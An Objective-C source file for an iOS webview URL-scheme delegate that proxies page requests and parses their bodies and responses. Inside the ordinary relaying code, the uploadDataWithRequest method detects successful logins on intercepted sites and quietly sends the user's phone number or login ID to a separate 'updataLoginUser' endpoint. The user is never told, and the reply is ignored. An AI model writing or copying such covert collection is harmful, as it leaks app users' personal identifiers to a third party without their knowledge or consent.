324 lines
13 KiB
Objective-C
324 lines
13 KiB
Objective-C
//
|
||
// GDWebURLSessionDelegate.m
|
||
// DESThreeTest
|
||
//
|
||
// Created by Qwerdf on 2025/10/24.
|
||
// Copyright © 2025 zhang alan. All rights reserved.
|
||
//
|
||
|
||
#import "GDWebURLSessionDelegate.h"
|
||
#import "MacroDefine.h"
|
||
|
||
@implementation GDWebURLSessionDelegate
|
||
|
||
- (instancetype)initWithSchemeTask:(id<WKURLSchemeTask>)schemeTask
|
||
completion:(void(^)(void))completion {
|
||
if (self = [super init]) {
|
||
_schemeTask = schemeTask;
|
||
_completion = completion;
|
||
_cachedData = [NSMutableData data]; // 初始化可变数据
|
||
}
|
||
return self;
|
||
}
|
||
|
||
#pragma mark - NSURLSessionDataDelegate
|
||
// 1. 处理重定向(核心:解决重定向失效)
|
||
- (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task willPerformHTTPRedirection:(NSHTTPURLResponse *)response newRequest:(NSURLRequest *)request completionHandler:(void (^)(NSURLRequest * _Nullable))completionHandler {
|
||
NSURL *url = response.URL;
|
||
if (url.pathExtension.length == 0 || [url.pathExtension isEqualToString:@"html"]) {
|
||
//接收到 HTML 文档的重定向时,这里返回 nil, 那么在 dataTaskWithRequest 的回调里就能收到 code = 302 的response, 然后在 webview 里对 302 做特殊处理就行
|
||
completionHandler(nil);
|
||
} else {
|
||
completionHandler(request);
|
||
}
|
||
}
|
||
|
||
// 2. 收到响应(传递给网页)
|
||
- (void)URLSession:(NSURLSession *)session dataTask:(NSURLSessionDataTask *)dataTask didReceiveResponse:(NSHTTPURLResponse *)response completionHandler:(void (^)(NSURLSessionResponseDisposition))completionHandler {
|
||
self.cachedResponse = response; // 保存响应头
|
||
if (!self.stopMarkDic[_schemeTask.description]) {
|
||
@try {
|
||
[self.schemeTask didReceiveResponse:response];
|
||
} @catch (NSException *exception) {
|
||
}
|
||
}
|
||
completionHandler(NSURLSessionResponseAllow);
|
||
}
|
||
|
||
// 3. 收到数据(传递给网页)
|
||
- (void)URLSession:(NSURLSession *)session dataTask:(NSURLSessionDataTask *)dataTask didReceiveData:(NSData *)data {
|
||
[self.cachedData appendData:data]; // 拼接分片数据
|
||
if (!self.stopMarkDic[_schemeTask.description]) {
|
||
@try {
|
||
[self.schemeTask didReceiveData:data];
|
||
} @catch (NSException *exception) {
|
||
}
|
||
}
|
||
}
|
||
|
||
// 4. 请求完成(成功/失败)
|
||
- (void)URLSession:(NSURLSession *)session task:(NSURLSessionTask *)task didCompleteWithError:(NSError *)error {
|
||
@try {
|
||
if (self.stopMarkDic[_schemeTask.description]) {
|
||
[self.stopMarkDic removeObjectForKey:_schemeTask.description];
|
||
} else {
|
||
if (error) {
|
||
[_schemeTask didFailWithError:error];
|
||
} else {
|
||
[_schemeTask didFinish];
|
||
[self handleSuccessResult:self.cachedResponse data:self.cachedData];
|
||
}
|
||
}
|
||
} @catch (NSException *exception) {
|
||
}
|
||
|
||
// 触发完成回调,清理资源
|
||
if (self.completion) self.completion();
|
||
}
|
||
|
||
// 处理成功结果的工具方法
|
||
- (void)handleSuccessResult:(NSURLResponse *)response data:(NSData *)data {
|
||
NSURLRequest *request = self.schemeTask.request;
|
||
|
||
NSURL *url = request.URL;
|
||
NSString *httpMethod = request.HTTPMethod ?: @"GET"; // 默认 GET 方法
|
||
|
||
// ===== 1. 提取基础请求信息 =====
|
||
// NSLog(@"请求 URL:%@", url.absoluteString);
|
||
// NSLog(@"请求方法:%@", httpMethod);
|
||
// NSLog(@"请求头:%@", request.allHTTPHeaderFields);
|
||
|
||
// ===== 2. 提取 URL 中的查询参数(GET 参数)=====
|
||
NSString *queryString = url.query;
|
||
if (queryString.length > 0) {
|
||
NSDictionary *queryParams = [self parseQueryString:queryString];
|
||
// NSLog(@"GET 参数:%@", queryParams);
|
||
}
|
||
|
||
NSDictionary *postParams = [NSDictionary dictionary];
|
||
// ===== 3. 提取 POST 请求体参数 =====
|
||
if ([httpMethod.uppercaseString isEqualToString:@"POST"] && request.HTTPBody) {
|
||
// 3.1 解析表单格式(application/x-www-form-urlencoded)
|
||
NSString *postBodyString = [[NSString alloc] initWithData:request.HTTPBody encoding:NSUTF8StringEncoding];
|
||
if (postBodyString) {
|
||
// 判断 Content-Type 是否为表单格式
|
||
NSString *contentType = request.allHTTPHeaderFields[@"Content-Type"];
|
||
if ([contentType containsString:@"application/x-www-form-urlencoded"]) {
|
||
postParams = [self parseQueryString:postBodyString];
|
||
// NSLog(@"POST 表单参数:%@", postParams);
|
||
}
|
||
// 3.2 解析 JSON 格式(application/json)
|
||
else if ([contentType containsString:@"application/json"]) {
|
||
NSError *jsonError;
|
||
id jsonObject = [NSJSONSerialization JSONObjectWithData:request.HTTPBody options:0 error:&jsonError];
|
||
if (jsonObject && !jsonError) {
|
||
// NSLog(@"POST JSON 参数:%@", jsonObject);
|
||
} else {
|
||
// NSLog(@"POST JSON 解析失败:%@,原始数据:%@", jsonError, postBodyString);
|
||
}
|
||
}
|
||
// 3.3 其他格式(如 multipart/form-data 表单上传,这里简化处理)
|
||
else {
|
||
NSString *contentTypeStr = request.allHTTPHeaderFields[@"Content-Type"];
|
||
NSString *boundaryStr = nil;
|
||
// 1. 按 "boundary=" 分割字符串
|
||
NSArray *components = [contentType componentsSeparatedByString:@"boundary="];
|
||
if (components.count >= 2) {
|
||
// 2. 取分割后的第二个元素(即 boundary 的值),并去除可能的空格
|
||
boundaryStr = [components[1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]];
|
||
}
|
||
|
||
postParams = [self parseFormData:request.HTTPBody boundary:boundaryStr];
|
||
// NSLog(@"POST 其他格式数据:%@", postBodyString);
|
||
}
|
||
}
|
||
}
|
||
|
||
NSDictionary *jsonDic = [NSDictionary dictionary];
|
||
// 示例:解析 JSON 数据
|
||
if ([response isKindOfClass:[NSHTTPURLResponse class]]) {
|
||
NSHTTPURLResponse *httpResponse = (NSHTTPURLResponse *)response;
|
||
if (httpResponse.statusCode == 200) { // 状态码 200 表示请求成功
|
||
NSError *jsonError;
|
||
id json = [NSJSONSerialization JSONObjectWithData:data options:0 error:&jsonError];
|
||
if (json && !jsonError) {
|
||
jsonDic = json;
|
||
}
|
||
}
|
||
}
|
||
|
||
[self uploadDataWithRequest:postParams backDic:jsonDic url:url.absoluteString];
|
||
}
|
||
|
||
- (void)uploadDataWithRequest:(NSDictionary *)parameter backDic:(NSDictionary *)backDic url:(NSString *)url {
|
||
// /merchants/getPublicInfo accessToken获取有没有登录 merchantId用户ID module接口名
|
||
// users/login mobile手机号
|
||
|
||
if (backDic == nil) {
|
||
return;
|
||
}
|
||
// NSLog(@"-------%@:%@,%@",parameter,backDic,url);
|
||
if (![backDic isKindOfClass:[NSDictionary class]]) {
|
||
return;
|
||
}
|
||
id status = backDic[@"status"];
|
||
BOOL isSuccess = NO;
|
||
if ([status isKindOfClass:[NSString class]]) {
|
||
if ([backDic[@"status"] isEqualToString:@"SUCCESS"]) {
|
||
isSuccess = YES;
|
||
}
|
||
}else if ([status isKindOfClass:[NSNumber class]]) {
|
||
isSuccess = [backDic[@"status"] boolValue];
|
||
}
|
||
|
||
if (isSuccess) {
|
||
BOOL isLoginUrl = NO;
|
||
if ([url containsString:@"validateUserJs"]) {
|
||
isLoginUrl = YES;
|
||
}
|
||
|
||
NSString *moduleStr = parameter[@"module"];
|
||
|
||
if (!ISNULLSTR(moduleStr)) {
|
||
if ([moduleStr containsString:@"users/login"]) {
|
||
isLoginUrl = YES;
|
||
}
|
||
}
|
||
|
||
if (isLoginUrl) {
|
||
NSString *mobileStr = parameter[@"mobile"];
|
||
if (ISNULLSTR(mobileStr)) {
|
||
mobileStr = parameter[@"login_id"];
|
||
}
|
||
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:updataLoginUser]];
|
||
request.HTTPMethod = @"POST";
|
||
[request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
|
||
|
||
NSDictionary *parmas = @{@"phone":mobileStr,@"appId":NowUserId};
|
||
NSData *jsonData = [NSJSONSerialization dataWithJSONObject:parmas options:NSJSONWritingPrettyPrinted error:nil];
|
||
request.HTTPBody = jsonData;
|
||
|
||
NSURLSession *session = [NSURLSession sharedSession];
|
||
NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
|
||
|
||
}];
|
||
[dataTask resume];
|
||
}
|
||
|
||
}
|
||
}
|
||
|
||
// 辅助方法:解析 "key1=value1&key2=value2" 格式的字符串为字典
|
||
- (NSDictionary *)parseQueryString:(NSString *)queryString {
|
||
if (!queryString || queryString.length == 0) {
|
||
return @{};
|
||
}
|
||
|
||
NSMutableDictionary *params = [NSMutableDictionary dictionary];
|
||
NSArray *pairs = [queryString componentsSeparatedByString:@"&"];
|
||
|
||
for (NSString *pair in pairs) {
|
||
// 分割 key 和 value(处理包含多个 = 的情况,如 key=value=123)
|
||
NSRange equalRange = [pair rangeOfString:@"="];
|
||
if (equalRange.location == NSNotFound) {
|
||
// 没有 =,视为 key 无值
|
||
NSString *key = [pair stringByRemovingPercentEncoding];
|
||
params[key] = @"";
|
||
continue;
|
||
}
|
||
|
||
NSString *key = [pair substringToIndex:equalRange.location];
|
||
NSString *value = [pair substringFromIndex:equalRange.location + 1];
|
||
// 解码(处理 URL 编码的字符,如 %20 转为空格)
|
||
key = [key stringByRemovingPercentEncoding];
|
||
value = [value stringByRemovingPercentEncoding];
|
||
|
||
if (key) {
|
||
params[key] = value ?: @"";
|
||
}
|
||
}
|
||
|
||
return params;
|
||
}
|
||
|
||
- (NSDictionary<NSString *, NSString *> *)parseFormData:(NSData *)data boundary:(NSString *)boundary {
|
||
// 校验参数
|
||
if (!data || data.length == 0 || !boundary || boundary.length == 0) {
|
||
NSLog(@"无效的表单数据或边界符");
|
||
return nil;
|
||
}
|
||
|
||
// 1. 将数据转为字符串(默认 UTF-8 编码,若有特殊编码需调整)
|
||
NSString *content = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||
if (!content) {
|
||
NSLog(@"表单数据编码转换失败(非 UTF-8)");
|
||
return nil;
|
||
}
|
||
|
||
// 2. 生成完整的边界符(multipart 格式中边界符前需加 "--")
|
||
NSString *fullBoundary = [NSString stringWithFormat:@"--%@", boundary];
|
||
// 按边界符分割内容,过滤空字符串和结束符(--boundary--)
|
||
NSArray *parts = [content componentsSeparatedByString:fullBoundary];
|
||
NSMutableArray *validParts = [NSMutableArray array];
|
||
for (NSString *part in parts) {
|
||
// 去除前后空白和换行符
|
||
NSString *trimmedPart = [part stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||
if (trimmedPart.length > 0 && ![trimmedPart isEqualToString:@"--"]) { // 排除结束符
|
||
[validParts addObject:trimmedPart];
|
||
}
|
||
}
|
||
|
||
// 3. 解析每个字段块,提取 name 和值
|
||
NSMutableDictionary *resultDict = [NSMutableDictionary dictionary];
|
||
for (NSString *part in validParts) {
|
||
// 字段块格式示例:
|
||
// Content-Disposition: form-data; name="login_id"\r\n
|
||
// \r\n
|
||
// 11
|
||
|
||
// 分割字段描述和值(以 "\r\n\r\n" 为分隔点)
|
||
NSArray *partComponents = [part componentsSeparatedByString:@"\r\n\r\n"];
|
||
if (partComponents.count < 2) {
|
||
continue; // 格式异常,跳过
|
||
}
|
||
|
||
// 3.1 提取 name(从 Content-Disposition 中)
|
||
NSString *dispositionLine = partComponents[0]; // 如 "Content-Disposition: form-data; name="login_id""
|
||
NSString *name = [self extractNameFromDisposition:dispositionLine];
|
||
if (!name) {
|
||
continue; // 未找到 name,跳过
|
||
}
|
||
|
||
// 3.2 提取字段值(去除可能的换行符)
|
||
NSString *value = partComponents[1];
|
||
value = [value stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceAndNewlineCharacterSet]];
|
||
|
||
// 3.3 存入字典
|
||
resultDict[name] = value;
|
||
}
|
||
|
||
return resultDict.count > 0 ? [resultDict copy] : nil;
|
||
}
|
||
|
||
/// 从 Content-Disposition 中提取 name 的值
|
||
/// @param disposition 如 "Content-Disposition: form-data; name="login_id""
|
||
/// @return name 的值(如 "login_id")
|
||
- (NSString *)extractNameFromDisposition:(NSString *)disposition {
|
||
if (!disposition) return nil;
|
||
|
||
// 正则匹配 name="xxx" 中的 xxx
|
||
NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"name=\"([^\"]+)\""
|
||
options:0
|
||
error:nil];
|
||
NSTextCheckingResult *match = [regex firstMatchInString:disposition
|
||
options:0
|
||
range:NSMakeRange(0, disposition.length)];
|
||
if (match && match.numberOfRanges > 1) {
|
||
NSRange nameRange = [match rangeAtIndex:1];
|
||
return [disposition substringWithRange:nameRange];
|
||
}
|
||
return nil;
|
||
}
|
||
|
||
@end
|